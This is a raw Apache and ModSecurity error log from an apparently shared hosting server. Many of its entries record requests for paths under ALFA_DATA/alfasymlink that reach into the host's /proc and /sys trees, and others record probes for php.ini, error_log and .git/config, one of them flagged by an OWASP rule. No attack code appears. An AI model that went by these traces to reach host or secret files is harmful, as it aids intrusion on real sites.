[Sat Oct 24 12:42:39.620423 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 44.210.204.255:44806] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:42:46.155762 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 85.208.96.208:30518] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UNIX/cache_dma
[Sat Oct 24 12:42:51.642417 2026] [core:error] [pid 2661974:tid 2661974] (13)Permission denied: [client 34.195.248.30:20192] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/dev/char/4:27/subsystem/tty22/subsystem/ttyS3/custom_divisor
[Sat Oct 24 12:43:03.813588 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 85.208.96.200:45142] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-2k/hwcache_align
[Sat Oct 24 12:43:07.881957 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 185.191.171.5:26198] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDP/red_zone
[Sat Oct 24 12:43:15.658758 2026] [core:error] [pid 2661974:tid 2661974] (13)Permission denied: [client 107.20.224.184:49730] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event1/subsystem/mice/subsystem/input1/device/firmware_node/physical_node1/wakeup/wakeup10/device/driver/bind
[Sat Oct 24 12:43:19.568601 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 3.90.73.206:43200] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/PNP0A03:00/device:06/physical_node/remove
[Sat Oct 24 12:43:28.030348 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 23.23.137.202:22125] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:43:31.757461 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 44.209.35.147:12614] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/LNXCPU:01/physical_node/crash_notes
[Sat Oct 24 12:43:35.638373 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 23.21.179.120:2260] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:43:47.604344 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 54.144.185.255:59706] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event3/subsystem/input5/device/subsystem/drivers/alarmtimer/bind
[Sat Oct 24 12:43:59.700898 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 34.206.249.188:64744] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:44:15.496160 2026] [core:error] [pid 2661978:tid 2661978] (13)Permission denied: [client 184.73.47.24:6571] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/dev/char/4:27/subsystem/tty22/subsystem/ttyS2/iomem_base
[Sat Oct 24 12:44:19.479233 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 3.221.50.71:61458] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:44:31.564342 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 44.210.213.220:21699] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:44:43.689097 2026] [authz_core:error] [pid 2653689:tid 2653689] [client 52.45.92.83:16431] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.com/php.ini
[Sat Oct 24 12:44:51.470792 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 34.197.28.78:28817] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:44:52.738135 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 185.191.171.5:62724] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:44:59.539565 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 3.227.180.70:19513] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:20/subsystem/devices/device:0a/subsystem/drivers/pvpanic/uevent
[Sat Oct 24 12:45:23.521854 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 35.170.205.140:2137] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:45:28.359770 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 44.223.115.10:45409] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:45:31.653881 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 44.208.193.63:25444] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:45:35.465451 2026] [core:crit] [pid 2635677:tid 2635677] (13)Permission denied: [client 207.175.58.113:53466] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 12:45:36.253131 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 34.194.226.74:35572] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:45:43.473842 2026] [core:error] [pid 2661978:tid 2661978] (13)Permission denied: [client 52.4.229.9:46768] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/graphics/fbcon/subsystem/fb0/device/driver/0000:00:02.0/subsystem/devices/0000:00:03.0/firmware_node/physical_node/resource0
[Sat Oct 24 12:45:47.716642 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 3.208.156.9:45932] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:45:51.424632 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 85.208.96.193:42884] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-256/cpu_slabs
[Sat Oct 24 12:45:51.599693 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 98.83.72.38:62530] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:45:55.527071 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 44.213.202.136:18477] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:45:59.567086 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 54.225.148.123:26513] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:46:01.087493 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 85.208.96.193:54800] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:46:03.540471 2026] [core:error] [pid 2661978:tid 2661978] (13)Permission denied: [client 3.224.205.25:30261] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/xen-platform-pci/new_id
[Sat Oct 24 12:46:11.452136 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 52.0.218.219:52968] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:46:19.559912 2026] [core:error] [pid 2666873:tid 2666873] (13)Permission denied: [client 34.192.67.98:62061] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:05.0/resource4
[Sat Oct 24 12:46:27.443526 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 54.166.104.83:16703] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:46:31.601294 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 100.29.107.38:23910] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:46:39.652837 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 52.54.249.218:46885] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:46:41.684845 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 85.208.96.200:41858] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_fib_trie/alloc_calls
[Sat Oct 24 12:46:43.368209 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 54.83.180.239:32567] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:05.0/remove
[Sat Oct 24 12:46:48.156643 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 3.219.80.71:16448] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:46:51.480283 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.239.85.139:14356] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:46:51.487087 2026] [authz_core:error] [pid 2661974:tid 2661974] [client 94.154.43.188:34816] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 12:46:55.414492 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 3.232.82.72:8507] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:46:59.493954 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 34.231.118.144:9693] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:47:19.371044 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 54.84.169.196:34850] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:47:23.431052 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 54.209.100.30:2528] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:47:47.593451 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 23.23.99.55:50768] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:47:55.512437 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 3.221.50.71:32398] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty11/subsystem/ptmx/subsystem/ttyS0/xmit_fifo_size
[Sat Oct 24 12:48:03.512852 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 52.7.13.143:13490] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:48:11.512030 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 23.21.228.180:9330] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:48:27.362881 2026] [core:error] [pid 2661974:tid 2661974] (13)Permission denied: [client 44.209.89.189:23393] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/serial/remove_id
[Sat Oct 24 12:48:35.209181 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 52.202.233.37:59272] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:48:51.976040 2026] [core:error] [pid 2661974:tid 2661974] (13)Permission denied: [client 85.208.96.205:59754] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/key_jar/cache_dma
[Sat Oct 24 12:48:55.216202 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 54.225.199.17:47572] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:49:11.324348 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 107.22.208.39:14336] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:49:19.269866 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 3.221.156.96:10398] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:49:27.393968 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 52.200.93.170:27167] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:49:55.195160 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 35.169.102.85:36993] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:49:59.004469 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 34.194.233.48:48440] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:50:02.928358 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 54.197.114.76:1487] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:14/eject
[Sat Oct 24 12:50:06.818138 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 54.91.122.193:25823] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:50:26.735923 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 18.213.70.100:26753] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:50:30.624630 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 52.21.62.139:8145] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:50:38.561948 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 52.70.209.13:39229] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:50:42.673193 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 98.84.200.43:53480] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXPWRBN:00/wakeup/wakeup8/device/subsystem/drivers/hpet/bind
[Sat Oct 24 12:50:56.015362 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 85.208.96.202:13524] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:51:02.415977 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 34.234.200.207:62963] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:51:06.522865 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 44.207.207.36:1035] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:51:10.371967 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 50.17.193.48:10503] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:51:11.779848 2026] [core:error] [pid 2666873:tid 2666873] (13)Permission denied: [client 85.208.96.210:21790] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mm_struct/usersize
[Sat Oct 24 12:51:19.614359 2026] [core:error] [pid 2661978:tid 2661978] (13)Permission denied: [client 185.191.171.7:23788] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-16/cpu_slabs
[Sat Oct 24 12:51:22.302506 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 107.20.25.33:62678] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:51:30.262943 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 3.221.156.96:2612] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:51:38.224023 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 44.223.193.255:40313] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:51:42.393131 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.81.253.213:19121] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:51:46.306480 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 44.197.76.210:28737] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:51:50.289497 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 34.194.95.99:19242] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:52:02.301835 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 44.223.116.149:48963] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:52:14.278237 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 52.45.77.169:4623] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:52:34.269524 2026] [security2:error] [pid 2666873:tid 2666873] [client 3.93.253.174:53364] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/PNP0F13:00/"] [unique_id "atziUqpyxzGTDP3At0pykgAAAAc"]
[Sat Oct 24 12:52:34.269579 2026] [security2:error] [pid 2666873:tid 2666873] [client 3.93.253.174:53364] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/PNP0F13:00/"] [unique_id "atziUqpyxzGTDP3At0pykgAAAAc"]
[Sat Oct 24 12:52:38.276710 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 100.29.34.97:36789] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:52:46.209067 2026] [core:error] [pid 2661978:tid 2661978] (13)Permission denied: [client 35.170.205.140:62726] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/console/subsystem/tty22/subsystem/ttyS1/uartclk
[Sat Oct 24 12:52:50.272204 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 44.205.120.22:62555] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:52:54.440758 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.197.178.107:6671] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:52:54.482422 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 185.191.171.10:57032] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:52:55.192434 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 185.191.171.10:57034] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:53:02.489086 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 100.29.63.24:19719] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0501:01/subsystem/drivers/ac/unbind
[Sat Oct 24 12:53:06.217750 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 18.213.102.186:32468] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:53:18.353239 2026] [security2:error] [pid 2653683:tid 2653683] [client 52.22.87.224:60460] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:18/power/"] [unique_id "atzifr67zmuaHuFajxGnWgAAAA4"]
[Sat Oct 24 12:53:18.353300 2026] [security2:error] [pid 2653683:tid 2653683] [client 52.22.87.224:60460] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:18/power/"] [unique_id "atzifr67zmuaHuFajxGnWgAAAA4"]
[Sat Oct 24 12:53:26.352531 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 3.94.199.128:47717] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/shpchp/bind
[Sat Oct 24 12:53:30.559489 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.225.45.252:62762] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:53:54.271238 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 100.25.120.246:42784] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:53:58.379532 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 3.93.98.99:2189] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:54:02.242528 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 23.21.204.95:45370] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:54:06.234463 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 18.208.11.93:26437] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:54:18.386498 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 54.204.62.163:50693] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:54:24.398858 2026] [authz_core:error] [pid 2627273:tid 2627273] [client 16.216.88.128:24576] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/betaok/PHPMailer/src/error_log
[Sat Oct 24 12:54:30.239600 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 35.153.86.200:5141] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:54:34.343511 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 34.234.200.207:14433] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:54:41.117783 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 85.208.96.207:59848] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:54:42.492341 2026] [core:error] [pid 2661974:tid 2661974] (13)Permission denied: [client 34.239.85.139:46400] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/uhci_hcd/uevent
[Sat Oct 24 12:54:46.179907 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 85.208.96.200:17614] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/md_mod/parameters/start_ro
[Sat Oct 24 12:54:46.190256 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 44.215.210.112:49272] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:54:54.274469 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 44.221.37.41:20121] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:55:02.198967 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.85.109.140:61035] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:55:14.335148 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 54.144.185.255:27662] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:55:30.308886 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 52.204.174.139:56717] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:55:42.318515 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 18.232.11.247:61838] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:55:50.403304 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 3.211.105.134:53894] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:04.0/resource4
[Sat Oct 24 12:55:54.236791 2026] [core:error] [pid 2666873:tid 2666873] (13)Permission denied: [client 185.191.171.3:32188] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/min_partial
[Sat Oct 24 12:55:54.419395 2026] [ssl:error] [pid 2661979:tid 2661979] (22)Invalid argument: [client 52.203.152.231:6946] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:56:18.278087 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 3.219.81.66:40894] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:56:22.554456 2026] [ssl:error] [pid 2661979:tid 2661979] (5)Input/output error: [client 54.147.238.89:41798] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:56:26.297942 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 52.0.63.151:36371] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:56:30.291435 2026] [ssl:error] [pid 2627273:tid 2627273] (5)Input/output error: [client 34.196.6.199:44866] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:56:34.273661 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 52.5.232.250:13282] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:56:58.210226 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.45.77.169:18298] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:56:59.818400 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 185.191.171.14:11018] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/cache_dma
[Sat Oct 24 12:57:06.245521 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 35.174.253.85:48746] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:57:10.208083 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 98.83.10.183:12383] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:57:14.225023 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 184.73.239.35:54981] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:00/physical_node/driver/module/drivers/pci:piix4_smbus/0000:00:01.3/driver/module/sections/__mcount_loc
[Sat Oct 24 12:57:18.262979 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 35.153.86.200:43415] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:57:22.233137 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 98.84.70.201:36427] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:57:26.375464 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.2.4.213:64858] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:57:30.358447 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 44.194.139.149:40059] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:57:38.248895 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 44.223.115.10:2350] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:57:54.225854 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.93.211.16:24415] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:57:56.330773 2026] [security2:error] [pid 2627273:tid 2627273] [client 35.237.77.72:43968] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzjlBdOhHN-18IxgZKtaAAAAAY"]
